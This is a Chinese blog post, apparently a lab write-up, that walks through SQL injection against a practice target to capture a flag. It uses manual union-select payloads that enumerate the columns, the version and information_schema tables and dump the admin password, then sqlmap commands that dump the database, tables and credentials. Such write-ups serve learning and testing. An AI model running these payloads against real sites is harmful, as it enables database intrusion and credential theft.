美文网首页
某靶场的一次渗透

某靶场的一次渗透

作者: 蓝色病毒 | 来源:发表于2019-01-05 21:55 被阅读52次

    从两个方面来进行渗透测试,举一反二

    注:只供学习使用,不得用于违法途径,否则后果自负!

    靶场首页

    手工注入

    一、检测是否存在注入点

    我们在url最后加上 and 1=1,页面返回正常, 输入and 1=2,页面返回不正常,可知这里存在注入点(指程序直接将输入数据传入数据库中进行校验的漏洞)

    二、暴字段长度

    1、使用order by进行测试,我们知道在mysql数据库中order by是排序。在这里我们查找总共有多少个字段(页面),就是用order by来进行。输入order by 10,返回错误。

    错误页面
    二分法继续,直到order by 2返回正确。可知有两个页面

    2、and 1=2 union select 1,2

    显示出最后的数字

    这里有两点需要注意:
    1、and 1=2 让数据库故意报错,union select联合查询的目的,就是将多个select的查询结果返回,这里我们需要的是字段的长度,当然不能让union前半部分正确返回到结果集了

    2、union select 1,2,这里的1,2只是为了凑数,union查询需要和前面那张表列数一致,正确显示最后你传入的数字就可确认有多少个字段

    3、得到数据库版本
    and 1=2 union select 1, version()

    版本号
    根据输入的语法测试,我们基本可以确认这是mysql 5.5.53版本

    三、暴数据库用户名,表名,密码

    用户名 数据库名

    接着,我们直接查找表
    and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()

    表名

    这里需要注意的是:
    information_schema是mysql系统自带的数据库,记录了所有的字符集、权限相关,数据库、表、数据库实体对象信息等等。我们从information_schema获取当前位置的表名。

    知道了表名,我们就可以直接拿password了(flag)

    and 1=2 UNION SELECT 1,password from admin

    密码

    手工注入部分结束
    总结:手工注入是一种快速渗透方式。当然,需要非常了解注入原理和具备一定经验才能运用自如,对于新手理解注入原理具有很大的帮助。

    sqlmap注入

    sqlmap是一款功能强大的渗透注入工具。不了解的请自行百度......好了,不多说,开始干。

    1、获取数据库

    sqlmap -u "目标地址+id" --dbs
    不仅可获取数据库,包括操作系统、语言版本、web容器,数据库类型和版本都可获取


    获取数据库

    sqlmap -u "目标地址+id" -D maoshe --tables

    获取表

    sqlmap -u "目标地址+id" -D maoshe -T admin --columns


    获取列名

    sqlmap -u "目标地址+id" -D maoshe -T admin -C "Id,user,password" --dump


    获取密码

    到此结束。

    flag到手

    工具注入结束
    总结:工具能够快速帮我们找到想要的信息,不过最好在理解原理的前提下使用,不要过于依赖。要想更上一层楼,理解原理是硬功夫。当然,如果提前达到,可以更方便的话,那为啥不方便一点呢~

    总结:

    写文章真是一个体力活,渗透操作比较简单,但是截图、整理过程都很费工夫。不过这是值得的,一方面再次梳理自己的思维逻辑;一方面能从整个过程中进一步总结,便于提升。

    相关文章

      网友评论

          本文标题:某靶场的一次渗透

          本文链接:https://www.haomeiwen.com/subject/rxvdrqtx.html